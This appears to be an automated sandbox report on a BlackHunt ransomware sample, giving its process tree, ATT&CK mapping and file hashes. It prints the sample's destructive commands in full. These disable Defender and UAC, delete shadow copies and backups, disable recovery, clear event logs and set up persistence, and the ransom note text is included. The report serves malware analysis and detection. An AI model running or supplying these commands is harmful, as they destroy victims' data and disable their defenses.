2552 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 49 PID 2052 wrote to memory of 2768 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 50 PID 2052 wrote to memory of 2768 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 50 PID 2052 wrote to memory of 2768 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 50 PID 2052 wrote to memory of 2768 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 50 PID 2052 wrote to memory of 2752 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 53 PID 2052 wrote to memory of 2752 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 53 PID 2052 wrote to memory of 2752 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 53 PID 2052 wrote to memory of 2752 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 53 PID 2052 wrote to memory of 2764 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 54 PID 2052 wrote to memory of 2764 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 54 PID 2052 wrote to memory of 2764 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 54 PID 2052 wrote to memory of 2764 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 54 PID 2052 wrote to memory of 2856 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 56 PID 2052 wrote to memory of 2856 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 56 PID 2052 wrote to memory of 2856 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 56 PID 2052 wrote to memory of 2856 2052 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe 56 -
System policy modification 1 TTPs 3 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" 11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
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Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe"C:\Users\Admin\AppData\Local\Temp\11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe"1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2052 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f2⤵PID:932
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f3⤵PID:2424
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:1788
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵PID:2488
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f2⤵PID:2280
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f3⤵PID:2416
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f2⤵PID:2524
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f3⤵
- Modifies registry class
PID:760
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f2⤵PID:2628
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f3⤵
- Adds Run key to start application
PID:1764
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f2⤵PID:3040
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f3⤵PID:920
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f2⤵PID:2556
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f3⤵PID:2920
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f2⤵PID:2712
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f3⤵PID:1808
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f2⤵PID:2744
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f3⤵PID:2176
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f2⤵PID:2868
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f3⤵PID:3004
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f2⤵PID:2600
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f3⤵PID:2656
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f2⤵PID:2552
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f3⤵PID:2992
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f2⤵PID:2768
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f3⤵PID:2380
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f2⤵PID:2752
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f3⤵PID:1220
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f2⤵PID:2764
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f3⤵PID:560
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f2⤵PID:2856
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f3⤵PID:1512
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f2⤵PID:2620
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f3⤵PID:3068
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2472
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:748
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f2⤵PID:2468
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f3⤵PID:1172
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f2⤵PID:2132
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f3⤵PID:2964
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f2⤵PID:2780
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f3⤵PID:2808
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f2⤵PID:2560
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f3⤵PID:2324
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f2⤵PID:2440
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f3⤵PID:1788
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f2⤵PID:2460
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f3⤵PID:1484
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f2⤵PID:2520
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f3⤵PID:844
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2936
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f3⤵PID:744
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f2⤵PID:2216
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C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f3⤵
- Modifies registry class
PID:2488
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f2⤵PID:2136
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f3⤵PID:3044
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f2⤵PID:1036
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f3⤵PID:2416
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe" /F2⤵PID:1540
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe" /F3⤵
- Creates scheduled task(s)
- Modifies registry class
PID:2416
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB2⤵PID:936
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1572
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded2⤵PID:1704
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded3⤵
- Enumerates connected drives
- Interacts with shadow copies
PID:1120
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB2⤵PID:1696
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB3⤵
- Interacts with shadow copies
PID:1880
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded2⤵PID:2684
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C:\Windows\system32\vssadmin.exevssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded3⤵
- Interacts with shadow copies
- Modifies registry class
PID:2424
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:1732
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2748
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:2124
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:3056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:2708
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:2476
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1236
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2816
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:828
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:2520
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2812
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:2000
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\2⤵PID:2976
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D F:\3⤵
- Enumerates connected drives
PID:2004
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\2⤵PID:1556
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D C:\3⤵PID:1436
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\2⤵PID:1936
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C:\Windows\system32\fsutil.exefsutil usn deletejournal /D M:\3⤵
- Enumerates connected drives
PID:1776
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup2⤵PID:1068
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Setup3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1284
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System2⤵PID:2808
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C:\Windows\system32\wevtutil.exewevtutil.exe cl System3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2104
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application2⤵PID:828
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Application3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:1568
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security2⤵PID:1264
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2880
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false2⤵PID:1728
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C:\Windows\system32\wevtutil.exewevtutil.exe cl Security /e:false3⤵
- Clears Windows event logs
- Suspicious use of AdjustPrivilegeToken
PID:2520
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet2⤵PID:2848
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C:\Windows\system32\vssadmin.exevssadmin.exe Delete Shadows /all /quiet3⤵
- Interacts with shadow copies
PID:2620
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No2⤵PID:3068
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C:\Windows\system32\bcdedit.exebcdedit /set {default} recoveryenabled No3⤵
- Modifies boot configuration data using bcdedit
PID:760
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures2⤵PID:1964
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C:\Windows\system32\bcdedit.exebcdedit /set {default} bootstatuspolicy IgnoreAllFailures3⤵
- Modifies boot configuration data using bcdedit
PID:1008
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:2⤵PID:1428
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C:\Windows\system32\fsutil.exefsutil.exe usn deletejournal /D C:3⤵
- Deletes NTFS Change Journal
PID:2072
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet2⤵PID:2812
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C:\Windows\system32\wbadmin.exewbadmin.exe delete catalog -quiet3⤵
- Deletes backup catalog
PID:948
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable2⤵PID:2816
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C:\Windows\system32\schtasks.exeschtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable3⤵PID:1220
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:924
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:2136
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:2464
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:2156
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:1648
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:772
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:2668
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:3048
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:1628
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:2608
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:964
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:684
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:568
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:3044
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵PID:2788
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:2564
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\11998198dcc1aee6190c1cc738d0f7e4c7e2bc76c9163f422421a9ecfeb11530.exe"2⤵
- Deletes itself
PID:2472 -
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:2760
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1948
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1132
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:2464
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵PID:944
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -Embedding1⤵
- Modifies Windows Defender Real-time Protection settings
PID:2920
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
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Downloads
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Filesize
1KB
MD534b117e298451139a837b6823f85d27e
SHA12d3a4de6f159105341816147270b592c8e6d75b8
SHA256e5f57ff0c5adb180c58a83faaab2de76d10be9f76c226884013e268d0a27ef5e
SHA512cc311291ddde6a9986c69450e11e37727453314fda24f260db512c83ee98e2b3eb3266436a3e1e86a4ee7d8dae6b2b7a99e6ff63f713de6012fac474170eac98
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Filesize
12KB
MD56c134efa55adecaffa60d53bc7af7353
SHA14da3e427a25a8f74718bf776b1b2c7f4321b4afb
SHA25657aab59c0a6321edb711cf61846dd9af26cfdab990e1e2a84fdef669d75febf3
SHA512d8ef99f09e29af5bde2dd9799ddae1470f9e27b6eb2148eebde8d959437b6df9b373dd39a2c2f9d3e64977622422704b63c08ba5921311286c14a4817c911455
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Filesize
684B
MD52c812385397cf616f83e749850f80001
